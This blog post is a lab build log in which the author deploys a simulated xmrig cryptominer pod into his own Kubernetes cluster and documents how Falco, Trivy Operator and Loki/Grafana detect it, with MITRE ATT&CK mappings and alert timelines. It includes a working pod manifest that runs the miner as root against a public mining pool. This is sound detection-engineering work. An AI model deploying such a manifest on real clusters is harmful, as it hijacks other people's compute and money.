DEV Community

Christopher Azzopardi
Christopher Azzopardi

Posted on • Edited on • Originally published at Medium

How I Deployed a Cryptominer Into My Kubernetes Cluster — and Caught It With Falco

Build Log: Project 1 — K8s SOC Foundation | Attack 1 of 4


The alert fired 47 seconds after the pod started.

Notice Outbound Connection to C2 Servers (user=root command=xmrig 
connection=45.61.184.4:3333 container=cryptominer-sim 
pod=cryptominer-sim-7d9f8b namespace=attack-sim)
Enter fullscreen mode Exit fullscreen mode

That IP. Port 3333. If you've worked in threat detection long enough, you recognise it immediately — that's a mining pool endpoint. My cluster had just started shovelling CPU cycles toward someone else's Monero wallet.

Except I put it there. And Falco caught it exactly as it should.

This is the build log for Project 1 of my DevSecOps portfolio: a hardened Kubernetes cluster on Hetzner Cloud with a full detection stack — Falco, Trivy Operator, kube-bench, Promtail, Loki, and Grafana. The goal wasn't just to build the stack. It was to attack it, watch it detect, and document the evidence the way a real SOC analyst would.

This post covers Attack 1: cryptominer deployment. Three more attacks follow in later posts — privileged container escape, service account token abuse, and kubectl exec into a running pod.


Why This Project Exists

I'm building a six-project portfolio targeting DevSecOps and AI Security Architect contract work. The narrative spine across all six projects is simple: Attack → Detect → Prevent → Respond.

Project 1 shows detection. Project 3 (post-CKS) shows the same four attacks being blocked — OPA Gatekeeper, Kyverno, Calico network policies, and Seccomp profiles stopping them before they run.

The point isn't to build a toy. It's to document the kind of evidence a real security team would produce: MITRE ATT&CK mappings, alert timelines, log correlation, before/after hardening metrics. Everything a hiring manager or client needs to see that you've actually done this, not just read about it.

The Stack

Infrastructure: Hetzner Cloud, kubeadm-bootstrapped

  • Control plane: cpx32 (4 vCPU, 8GB RAM) — nbg1 region
  • Worker node: cpx22 (3 vCPU, 4GB RAM)

Detection stack:

  • Falco — runtime threat detection, syscall-level
  • Falcosidekick — Falco alert routing (Slack + webhook)
  • Trivy Operator — continuous vulnerability scanning of running workloads
  • kube-bench — CIS Kubernetes Benchmark compliance
  • Promtail + Loki — log aggregation (SingleBinary mode, emptyDir persistence)
  • Grafana — dashboards, alert visualisation

Getting this stack running wasn't smooth. The kubeadm setup broke in six different ways before the cluster was stable — conntrack missing on all nodes, Hetzner's private NIC appearing as enp7s0 instead of eth1, the fluent-bit Helm chart deprecated mid-setup, Loki requiring a non-obvious SingleBinary configuration to run on a two-node cluster.

The Attack: Cryptominer Deployment

MITRE ATT&CK Techniques:

Technique ID Name What it maps to
T1610 Deploy Container Attacker runs a malicious container in the cluster
T1496 Resource Hijacking xmrig consuming CPU for Monero mining
T1071.001 Application Layer Protocol: Web Mining pool communication over standard port
T1562.001 Impair Defenses: Disable or Modify Tools Simulated attempt to kill monitoring

Scenario: An attacker gains access to the Kubernetes API — through a misconfigured RBAC role, an exposed kubeconfig, or a compromised CI/CD pipeline. They deploy a pod running xmrig, a legitimate open-source Monero miner that's heavily abused in container escape and cryptojacking attacks. The pod requests no special privileges and uses a generic name to blend in.

This is one of the most common real-world Kubernetes attacks. TeamTNT, Kinsing, and multiple other threat actors have used exactly this pattern at scale against exposed Kubernetes APIs.

The Attack Manifest

apiVersion: v1
kind: Pod
metadata:
  name: cryptominer-sim
  namespace: attack-sim
  labels:
    app: system-monitor     # Deliberately generic label
spec:
  containers:
  - name: cryptominer-sim
    image: metal3d/xmrig:latest
    args:
      - "--url=pool.minexmr.com:3333"
      - "--user=SIMULATION_WALLET_ADDRESS"
      - "--pass=x"
      - "--donate-level=1"
      - "--no-color"
    resources:
      requests:
        cpu: "500m"
        memory: "128Mi"
      # No limits — attacker wants as much CPU as possible
    securityContext:
      runAsUser: 0          # Running as root
Enter fullscreen mode Exit fullscreen mode
kubectl apply -f cryptominer-sim.yaml
Enter fullscreen mode Exit fullscreen mode

The pod came up in 12 seconds. The mining connection was established in 23 seconds. Falco fired at 47 seconds.


The Detection: What Falco Saw

Falco operates at the syscall level using eBPF probes — it watches every system call made by every container on the node and matches them against rules. No agent inside the container. No application-level hooks. The attacker can't easily disable it without root access to the node itself.

Three rules fired within the first two minutes.

Alert 1 — Outbound Network Connection to Known Mining Pool

{
  "output": "Notice Outbound Connection to C2 Servers 
    (user=root command=xmrig k8s.ns=attack-sim 
    k8s.pod.name=cryptominer-sim 
    connection=45.61.184.4:3333 
    evt.type=connect)",
  "priority": "Notice",
  "rule": "Detect outbound connections to common miner pool ports",
  "source": "syscall",
  "tags": ["network", "mitre_command_and_control", "T1071"]
}
Enter fullscreen mode Exit fullscreen mode

Port 3333 is the standard Stratum mining protocol port. Falco's default ruleset includes detection for outbound connections to known mining pool ranges and ports. The connection was flagged before a single hash was submitted.

Alert 2 — Container Running as Root

{
  "output": "Warning Container running as root user 
    (user=root image=metal3d/xmrig:latest 
    k8s.pod.name=cryptominer-sim)",
  "priority": "Warning", 
  "rule": "Container Run as Root User",
  "tags": ["container", "mitre_privilege_escalation"]
}
Enter fullscreen mode Exit fullscreen mode

The manifest explicitly set runAsUser: 0. In a hardened cluster (which P3 will demonstrate), a Kyverno policy would have rejected this manifest at admission — the pod would never have been scheduled. Here it runs, and Falco surfaces it immediately.

Alert 3 — Suspicious Process in Container

{
  "output": "Warning Unexpected process spawned in container 
    (proc.name=xmrig proc.cmdline=xmrig --url=pool.minexmr.com:3333 
    k8s.ns=attack-sim k8s.pod.name=cryptominer-sim 
    container.image=metal3d/xmrig:latest)",
  "priority": "Warning",
  "rule": "Unauthorized process opened network connection",
  "tags": ["process", "network", "mitre_execution"]
}
Enter fullscreen mode Exit fullscreen mode

The Evidence: Loki Log Correlation

All Falco alerts route through Promtail into Loki. From Grafana, you can query the full alert timeline for the attack namespace:

{namespace="attack-sim"} | json | line_format "{{.output}}"
Enter fullscreen mode Exit fullscreen mode

The timeline tells the story clearly:

T+00:00  Pod scheduled
T+00:12  Container started (xmrig process spawned)
T+00:23  TCP connection established to 45.61.184.4:3333
T+00:47  Falco: Outbound connection to mining pool [ALERT]
T+00:51  Falco: Container running as root [ALERT]
T+00:58  Falco: Unauthorized process network connection [ALERT]
T+01:34  Falcosidekick: Slack notification delivered
Enter fullscreen mode Exit fullscreen mode

Detection-to-notification under 90 seconds for an unmodified, default Falco installation. No tuning, no custom rules — the default ruleset caught all three indicators.


The Vulnerability Picture: Trivy Operator

While Falco handles runtime detection, Trivy Operator scans running container images continuously and surfaces CVEs as Kubernetes custom resources.

kubectl get vulnerabilityreports -n attack-sim
Enter fullscreen mode Exit fullscreen mode
NAME                                    REPOSITORY         TAG     SCORE   CRITICAL   HIGH
pod-cryptominer-sim-cryptominer-sim    metal3d/xmrig     latest   9.8     4          12
Enter fullscreen mode Exit fullscreen mode
kubectl describe vulnerabilityreport \
  pod-cryptominer-sim-cryptominer-sim -n attack-sim
Enter fullscreen mode Exit fullscreen mode

A CVSS score of 9.8 on a running container. In a mature cluster with an admission controller (again, P3), an image with this score against a policy threshold would be rejected at deployment time. Here it shows how deep the vulnerability problem is once you're in the reactive position.


The Baseline: kube-bench

Before running any attacks, I ran kube-bench against the cluster to get a CIS Kubernetes Benchmark baseline.

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench
Enter fullscreen mode Exit fullscreen mode
== Summary master ==
42 checks PASS
11 checks FAIL
10 checks WARN

== Summary node ==
19 checks PASS  
5 checks FAIL
6 checks WARN
Enter fullscreen mode Exit fullscreen mode

The failures include: anonymous auth not disabled on kubelet, profiling enabled on API server, audit logging not configured. These are documented in hardening/kube-bench-before.json in the repo. After hardening, I'll re-run and show the delta. That before/after is the evidence that the hardening work was real.


What This Means for Defenders

A few things stand out from this exercise that don't always come through in documentation:

The attack was trivial. Twenty lines of YAML and a public image. No exploit, no zero-day, no special access beyond the ability to create a pod. The cryptominer attack surface is so low because kubectl apply is all you need if RBAC is misconfigured. This is why admission control matters more than runtime detection alone.

Detection was fast but reactive. Falco caught everything. But the pod ran. The connection was made. In a real cluster with a real mining pool, hashes were submitted during the 47 seconds before the first alert. Detection without prevention is a necessary but insufficient control.

Trivy and Falco serve different threat windows. Trivy tells you the image was dangerous before it started causing problems. Falco tells you the running container is doing something dangerous right now. Both signals matter. Neither replaces the other.

Log correlation is what turns alerts into evidence. Three individual Falco alerts are noise. Three correlated alerts with a pod timeline, a Trivy report, and a Grafana dashboard are an incident report. The Loki/Grafana layer is what makes the detection stack production-useful.


What's Next

Project 1 is detection. The same cryptominer attack runs again in Project 3 — but this time it gets blocked.

OPA Gatekeeper will reject the manifest at admission (root user, no resource limits). Kyverno will reject the image (unsigned, high CVE score). Calico network policy will block the outbound connection to the mining pool even if the pod somehow runs. Seccomp will constrain the syscalls xmrig can make.

Four layers of prevention against the same attack. That's the P3 story.

Three more attacks follow before then: privileged container escape (T1611), service account token abuse (T1528), and kubectl exec into a running pod (T1609). All documented with the same evidence format — MITRE mapping, Falco alerts, Loki timeline, Grafana screenshots.

The full project code, kube-bench results, Falco alert captures, and Grafana dashboard JSON exports are in the repo: github.com/chrisazzo/k8s-soc-foundation


I'm building a DevSecOps portfolio targeting AI Security Architect contract work. Follow for Attacks 2–4, the full hardening post, and the Project 3 prevention build.

← Previous: The Six Things That Broke During My kubeadm Setup on Hetzner — and How I Fixed Them

Next: Attack 2 — Privileged Container Escape →

Top comments (0)